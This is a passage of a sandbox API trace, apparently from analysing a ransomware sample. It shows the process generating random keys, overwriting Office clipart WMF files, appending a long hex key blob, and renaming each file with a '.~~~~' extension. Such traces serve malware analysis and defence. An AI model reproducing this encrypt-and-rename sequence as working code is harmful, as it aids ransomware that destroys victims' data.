	[0099.520] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.520] GetLastError () returned 0x0
	[0099.520] GetLastError () returned 0x0
	[0099.570] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff788c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.570] WriteFile (in: hFile=0x11c, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x8774, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x8774, lpOverlapped=0x0) returned 1
	[0099.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.571] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.571] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.572] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.572] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.572] CloseHandle (hObject=0x11c) returned 1
	[0099.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.572] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.~~~~")) returned 1
	[0099.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.573] GetLastError () returned 0x0
	[0099.574] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.575] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.575] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.575] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21956493254) returned 1
	[0099.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa50b8e30, dwHighDateTime=0x1d60e1e)) 
	[0099.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862448
	[0099.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862448 | out: hHeap=0x300000) returned 1
	[0099.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28613e8
	[0099.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.575] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.576] GetLastError () returned 0x0
	[0099.576] GetLastError () returned 0x0
	[0099.576] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.576] GetLastError () returned 0x0
	[0099.576] GetLastError () returned 0x0
	[0099.610] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffabc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.610] WriteFile (in: hFile=0x11c, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x544, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x544, lpOverlapped=0x0) returned 1
	[0099.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.612] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.612] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.612] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.612] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.612] CloseHandle (hObject=0x11c) returned 1
	[0099.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.613] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.~~~~")) returned 1
	[0099.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.613] GetLastError () returned 0x0
	[0099.614] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.618] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.618] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.619] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21960885349) returned 1
	[0099.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa512b250, dwHighDateTime=0x1d60e1e)) 
	[0099.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28624b8
	[0099.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28624b8 | out: hHeap=0x300000) returned 1
	[0099.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861518
	[0099.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.619] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.620] GetLastError () returned 0x0
	[0099.620] GetLastError () returned 0x0
	[0099.620] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.620] GetLastError () returned 0x0
	[0099.620] GetLastError () returned 0x0
	[0099.919] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffb48, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.919] WriteFile (in: hFile=0x11c, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x4b8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x4b8, lpOverlapped=0x0) returned 1
	[0099.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.920] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.920] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.920] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.920] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.920] CloseHandle (hObject=0x11c) returned 1
	[0099.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.921] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.~~~~")) returned 1
	[0099.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.922] GetLastError () returned 0x0
	[0099.922] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.923] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.923] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.923] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21991353458) returned 1
	[0099.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa53fec70, dwHighDateTime=0x1d60e1e)) 
	[0099.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862598
	[0099.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862598 | out: hHeap=0x300000) returned 1
	[0099.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861648
	[0099.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.924] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.924] GetLastError () returned 0x0
	[0099.924] GetLastError () returned 0x0
	[0099.924] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.925] GetLastError () returned 0x0
	[0099.925] GetLastError () returned 0x0
	[0099.937] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffee1c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.937] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x11e4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x11e4, lpOverlapped=0x0) returned 1
	[0099.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.938] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.938] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.938] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.938] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.938] CloseHandle (hObject=0x11c) returned 1
	[0099.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.939] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.~~~~")) returned 1
	[0099.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.940] GetLastError () returned 0x0
	[0099.941] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.942] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.942] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.943] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21993275563) returned 1
	[0099.943] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa544af30, dwHighDateTime=0x1d60e1e)) 
	[0099.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39c9e0
	[0099.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c9e0 | out: hHeap=0x300000) returned 1
	[0099.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28618a8
	[0099.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.944] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.944] GetLastError () returned 0x0
	[0099.944] GetLastError () returned 0x0
	[0099.944] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.944] GetLastError () returned 0x0
	[0099.944] GetLastError () returned 0x0
	[0099.986] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe13c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.986] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1ec4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1ec4, lpOverlapped=0x0) returned 1
	[0099.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.988] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.988] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.988] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.988] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.988] CloseHandle (hObject=0x11c) returned 1
	[0099.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.988] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.~~~~")) returned 1
	[0099.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.990] GetLastError () returned 0x0
	[0099.990] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.991] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.991] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.991] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21998139538) returned 1
	[0099.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa54bd350, dwHighDateTime=0x1d60e1e)) 
	[0099.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862640
	[0099.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862640 | out: hHeap=0x300000) returned 1
	[0099.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
